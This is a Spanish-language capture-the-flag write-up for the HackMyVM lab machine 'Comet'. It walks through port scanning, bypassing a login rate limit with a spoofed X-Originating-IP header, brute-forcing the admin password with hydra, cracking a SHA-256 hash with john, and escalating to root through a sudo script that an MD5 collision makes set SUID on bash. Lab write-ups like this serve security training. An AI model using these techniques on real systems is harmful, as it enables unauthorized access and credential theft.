Autor: Cromiphi
Dificultad: Medio
Reconocimiento
Como es costumbre, comienzo enumerando los puertos disponibles.
$ sudo nmap -p- 192.168.1.60
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 10:28 EDT
Nmap scan report for comet.hmv (192.168.1.60)
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:38:E4:4D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
En este caso, para realizar la enumeración del servidor web utilizo nikto.
$ nikto --url 192.168.1.60
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.1.60
+ Target Hostname: 192.168.1.60
+ Target Port: 80
+ Start Time: 2023-03-22 10:29:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1bb9, size: 5f50f4bf1b6c0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /ip.txt: This may be User Online version 2.0, which has a remotely accessible log file.
+ /images/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-03-22 10:29:57 (GMT-4) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Hay dos archivos interesantes, “/ip.txt” y “/login.php”.
Se puede acceder a la página de login a traves de la página principal.
Y esto es con lo que nos encontramos.
Cuando realizo un intento de inicio de sesión, no puedo realizar más hasta pasado aproximadamente un minuto. Esto se debe a que hay algún tipo de firewall. Se puede comprobar ya que aparece mi dirección ip en el archivo “/ip.txt”
$ curl 192.168.1.60/ip.txt
192.168.1.86
Cuando desaparezca mi dirección del archivo, podré volver a hacer otra petición.
Explotación
Para evitar el firewall, utilizo la cabecera “X-Originating-ip” y escribo cualquier cosa.
$ curl -H "X-ORIGINATING-IP: Not Blacklisted :)" -d "username=admin&password=1234" -X POST http://comet.hmv/login.php
De esta manera ya no bloquea mi ip.
$ curl 192.168.1.60/ip.txt
Not Blacklisted :)
Ahora ya puedo realizar un ataque de fuerza bruta con hydra.
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.60 http-post-form "/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-22 11:38:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.60:80/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid
[STATUS] 3913.00 tries/min, 3913 tries in 00:01h, 14340486 to do in 61:05h, 16 active
[80][http-post-form] host: 192.168.1.60 login: admin password: sol******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-22 11:40:31
(Muchas gracias a Noname por la ayuda con la sintaxis de Hydra)
Una vez obtenida la contraseña del usuario “admin”, inicio sesión y soy redirigido a la carpeta “/logFire” en la que hay una gran cantidad de archivos.
Hay dos tipos de archivos: muchos logs y un binario.
Logs
Descargo los logs con el siguiente comando.
$ for i in {1..51};do wget "http://192.168.1.60/logFire/firewall.log.$i"; done
Y al buscar información, encuentro una referencia al usuario “Joe”.
$ cat * | sort | uniq -u
2023-02-19 16:35:31 192.168.1.10 | 192.168.1.50 | Allowed | Inbound connection | Joe
Binario
En la carpeta “/logFire” existe el binario “firewall_update”. Me lo descargo y lo analizo usando radare 2.
Como se puede ver, el binario pide una contraseña, le aplica una función hash y lo compara con un hash que tiene guardado.
Lo primero que hago es copiar el hash del binario e intentar crackearlo usando john. (El hash es la cadena que comienza por b87 hasta 2b1).
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pre******** (?)
1g 0:00:00:00 DONE (2023-03-22 11:47) 33.33g/s 2184Kp/s 2184Kc/s 2184KC/s 123456..sabrina7
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
Contraseña encontrada!!
Escalado de Privilegios
Utilizo ssh para conectarme como el usuario Joe y la contraseña previamente crackeada.
$ ssh joe@192.168.1.60
joe@192.168.1.60's password:
Linux comet.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 22 16:50:42 2023 from 192.168.1.86
joe@comet:~$ :)
Compruebo los permisos que tiene Joe para ejecutar comandos utilizando sudo.
joe@comet:~$ sudo -l
Matching Defaults entries for joe on comet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User joe may run the following commands on comet:
(ALL : ALL) NOPASSWD: /bin/bash /home/joe/coll
A continuación muestro el script que puedo ejecutar como Root.
#!/bin/bash
exec 2>/dev/null
file1=/home/joe/file1
file2=/home/joe/file2
md5_1=$(md5sum $file1 | awk '{print $1}')
md5_2=$(md5sum $file2 | awk '{print $1}')
if [[ $(head -n 1 $file1) == "HMV" ]] &&
[[ $(head -n 1 $file2) == "HMV" ]] &&
[[ $md5_1 == $md5_2 ]] &&
[[ $(diff -q $file1 $file2) ]]; then
chmod +s /bin/bash
exit 0
else
exit 1
fi
Este script comprueba que dos archivos (file1 y file2) tengan el mismo prefijo “HMV” y generen el mismo hash MD5 pero tengan alguna diferencia. Lo que viene siento una colisión.
En los siguientes enlaces de github se explica detalladamente como realizar este tipo de colisiones.
- Explicación: Unicoll
- Creacion de los archivos: Create you own identical-prefix collision
Yo he generado los dos archivos en mi máquina Kali y tras comprobar que efectivamente cumplen los requisitos, los muevo a la máquina Comet donde ejecuto el script.
joe@comet:~$ sudo /bin/bash /home/joe/coll
joe@comet:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# :)
Root conseguido!!
Muchas gracias a Cromiphi por esta máquina.